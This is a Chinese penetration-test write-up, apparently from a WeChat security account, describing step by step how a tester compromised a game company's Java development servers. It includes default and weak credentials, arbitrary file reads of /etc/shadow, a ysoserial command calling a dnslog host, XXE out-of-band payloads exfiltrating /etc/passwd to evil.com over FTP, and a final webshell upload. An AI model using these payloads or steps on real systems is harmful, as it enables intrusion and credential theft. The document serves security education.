前言:由于某些原因,决定重新编辑渗透测试实例文章。
上次授权测试了一个比较老的asp网站,大家可能没看过瘾,这次授权测试一个比较新的java网站,保准你看了之后直呼过瘾。
fofa用简单语法搜索相关资产,发现x.x.x.105后台
"xxx"&&"后台"
这个后台是开发中的后台,弱密码admin【】admin登陆,后台大概是这样的
开发中的系统通常有很多问题,比如经典测试人员拿自己的真实手机号和QQ邮箱做测试数据,可能被用于社工钓鱼。
以及所有接口未授权访问,不过head中有X-Token为空,大概是后面要接内网域验证之类的,暂时没做权限功能。
还有一些跨域之类的小毛病,不过我主要关注那些对后续渗透有利的点。
比如经典的order by注入,这种系统是spring+mybatis+mysql+redis一条龙建立的,由于mybatis做参数化查询很容易,大部分传参点都没有SQL注入,而order by不能做参数化查询,因此开发常常犯order by注入的问题。
不过很遗憾,虽然有SQL语句报错,但仔细尝试之后发现isAsc和orderByColumn都过滤了一切特殊符号,导致无法注入。这点在后面的源码审计中也证实了。
此处注意一个细节,这里暴露的绝对路径是在/root/中,这说明开发安全意识薄弱,且中间件有可能是以root权限启动的。
此处还可以尝试fastjson反序列化,POC利用失败,后面源码审计时发现是版本很高,无法利用。
再看看其他点,比如图片上传
同样很遗憾,图片均以base64形式存储在数据库中,无法利用。不过这种框架一般也不支持任何动态脚本。
之后尝试做了一个简单spring专用目录扫描,字典可参考
https://github.com/LandGrey/SpringBootVulExploit
扫描过程中发现这个后台前端和后端不在同一个服务器,前面测试的时候没注意到这点。
前端x.x.x.105
后端x.x.x.76:8081
在目录扫描的同时nmap对两台服务器进行扫描,其中x.x.x.76发现mysql对外开放,爆破发现弱密码。里面只有一个库,库中密码全是md5(md5($a)+md5(salt))加密,无法利用。暂时先放着。
root【】1***2***
此外还发现两个开发中的环境
x.x.x.76:8102,这个考勤系统和x.x.x.76:8081差不多,也是同样的一些漏洞,没啥更进一步的帮助。
x.x.x.76:8094,Jeecg-Boot接口管理系统,无需登录直接访问,里面所有的接口应该同属于一个微信小程序。
调试过程中报错发现shiro,利用失败,后续代码审计中发现版本很高,并无漏洞。
由于没找到小程序是什么,所以只能用Jeecg-Boot自带的调试工具。但很快发现权限校验的很严格且登录接口存在图形验证码,很难利用,遂放弃。
总而言之剩下两个web端口对我们没有进一步的帮助,但此时x.x.x.76:8081完成目录扫描,发现重要突破口。
http://x.x.x.76:8081/swagger-ui.html
最初发现的那个系统前端并未完成开发,所以很多后端接口写好了并未在后台调用,此时可以通过swagger-ui调用。
其中图片接口存在任意文件下载。
前面通过order by注入报错,泄漏的绝对路径在/root/中推测过开发安全意识薄弱,现在任意文件下载果然可以读/etc/shadow
linux的密码极其难解,先放着,读/root/.bash_history
通过bash_history配合order by注入报错泄露的路径,成功下载到8094 8102 8081端口上的三份web源码,以及两份配置文件中的mysql密码,其中一份是本地的,所以与弱密码root【】1***2***重复。而另一份是一个新的ip,x.x.x.64,里面有十几个库。
此时梳理一下手上的东西。
x.x.x.105 某后台的前端
x.x.x.76:8081 某后台的后端,有源码,有swagger-ui,有任意文件下载且为root权限
x.x.x.76:8102考勤系统,有源码
x.x.x.76:8094 Jeecg-Boot有源码
x.x.x.76:3306 mysql弱密码
x.x.x.64:3306 mysql密码泄露
8102 8081功能简单,稍微审计了一下并未发现漏洞。只能再去审8094,也就是Jeecg-Boot。
先前在配置文件中发现Jeecg-Boot的mysql密码,登录之后发现里面的密码带salt,很难直接解出。
不过仔细调接口发现去掉captcha和checkKey参数可以绕过验证码,爆破出弱密码登录获取了token,这样可以方便去调用其他接口。
代码审计,查看路由发现很多web页面未展示接口,比如定时任务,在web中只有暂停和继续,而源码中把新增修改导入都写好了。
一些泄露服务器redis,磁盘内存的接口不用提了,发现了可能利用的两个upload接口
构造符合条件的参数上传,均失败,图片格式也尝试过。
仔细检查代码,猜测这个web也是开发环境,未配置oss的accessKey和secretKey,后翻找出配置Key的地方,果然没配置。
不过就算配置了也是上传到图床服务器上,没啥意义。
审计了半天没有思路,于是打算把数据库整个脱下来看能否发现更多信息,然后在库文件中发现序列化数据,ACED为其标志
通过表名判断此为定时任务相关功能,其逻辑大概是用户设置定时任务,指定Cron表达式和内置类,然后内置类经过反序列化去执行定时任务。
通过mysql修改一个定时任务,Cron为【0 0/1 * * *?】,然后找一个链去反序列化。
但最终死在了反序列化链中,查看jar包,发现常用的几个反序列化链的依赖包都比较新。
java -jarysoserial.jar可以看到最多只支持到CC4:4.0和CC3.2.1
尝试了URLDNS,CC8,CC10,Spring3之后放弃。具体方法用下面的命令生成1.ser再导入job_data列中。
java -jar ysoserial.jar URLDNS"http://4d3tgh.dnslog.cn" > 1.ser
之前说过x.x.x.64有很多库,死磕Jeecg-Boot时无意中跨库发现有个xxl-job库。
这是个任务计划系统,默认密码admin【】123456,登录之后可以直接设置一个GLUE_SHELL反弹shell,具体自行百度。
这里虽然不知道系统在哪儿,但直接修改数据库就行了。大致如图,注意trigger_status要改成1。
顺利的话就可以getshell,但结果并未收到dnslog。
检查发现xxl_job_log中没有日志产生,最近一条记录在2019年,极有可能此系统被弃用,数据库没有来得及清理罢了。
x.x.x.105x.x.x.76这两个ip所有可能均已尝试,现在唯一办法是唯一的一个数据库ip,x.x.x.64。
在64上发现一个监控系统Prometheus,泄露大量数据库和redis的ip,又有了无限可能。
发现harbor,镜像管理,弱密码admin【】Harbor12345登录,不过里面没有东西
发现RAP,x.x.x.64:3306中翻找到密码,泄露大量项目接口。
RAP是很恶心的md5(md5($a))加密,所以这里翻找的几个密码也是弱密码,不过这已经算是相对容易解出来的加密方式了,其他库的加密更恶心。
向Prometheus系统泄露的数据库ip地址继续发散,有如下收获。
两个apollo默认密码admin【】password
x.x.x.218:61680
x.x.x.59:61680
两个mysql弱密码,加上之前的一共4个mysql可以登录
x.x.x.218:3306
x.x.x.39:3306
x.x.x.76:3306
x.x.x.64:3306
两个redis空密码
x.x.x.222:6379
x.x.x.39:6379
一个ftp匿名登录
x.x.x.222:21
这里可能就有人说,你这不是闭着眼睛getshell吗?并没有那么简单,redis权限不足,敏感目录均无法写入。版本也较低,没有主从复制功能。
mysql有读写保护,权限也不足,日志方式也无法利用
剩下的Apache Apollo成了突破口,可以编辑xml格式配置文件,导致xxe。
这种修改文件让系统读取通常没有回显,类似xlsx-xxe,于是尝试OOB带出数据,注意,每次保存apollo.xml时,必须和上一次保存不同才能发起xml请求。所以每次请求要加个空格换行之类的。
Java OOB需要用到ftp协议解决换行问题。
https://github.com/lc/230-OOB
不过折腾了半天,发现dtd无法拼接实体,如下。
<!ENTITY % all SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'ftp://evil.com:2121/all;'>">
%eval;
%error;
这样是有请求的,一旦加上%拼接实体则不再发起请求,file:///etc/passwd更换为test字符串,,尝试了各种办法折腾都不行,本地测试能成功带出。
<!ENTITY % all SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'ftp://evil.com:2121/%all;'>">
%eval;
%error;
OOB失败,但柳暗花明,在apollo.xml下方发现几处可能回显的变量。
<!ENTITY xxe SYSTEM "file:///etc/shadow">
]>
<host_name>&xxe;</host_name>
保存后在首页发现回显点,成功读取shadow文件
同样的思路,读/root/.bash_history,有两台apollo,其中一台操作记录被清理了,另一台却拥有很多开发记录。
虽然java xxe的任意文件读取有很多限制,基本无法读源码。但是能读配置文件就已经够了,其网站项目的数据库和redis就是之前获取的x.x.x.39:3306和x.x.x.39:6379,在配置文件中又获取了项目地址,轻松登录进去。
找到图片上传点,这地方说安全也安全,说不安全也很不安全。
安全的点在于,attachmenId传输,文件落地随机命名且不在web目录。
不安全的点在于,未校验后缀,且上传目录可控。
如果没有数据库权限,就算传到web目录也不知道webshell叫什么名字。
但刚好数据库中可以查到图片的绝对路径和随机名称,同时XXE中获取的信息中可获取web路径为/usr/local/tomcat/webapps/ROOT/。配合起来可以达到任意文件上传。
同理,修改数据库id为982的图片路径为/etc/passwd,然后访问showImg?attachmentId=982也可以达到任意文件下载目的。
最终getshell,至此渗透完毕。
本文始发于微信公众号(聚鼎安全):渗透某游戏公司的java考勤系统
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论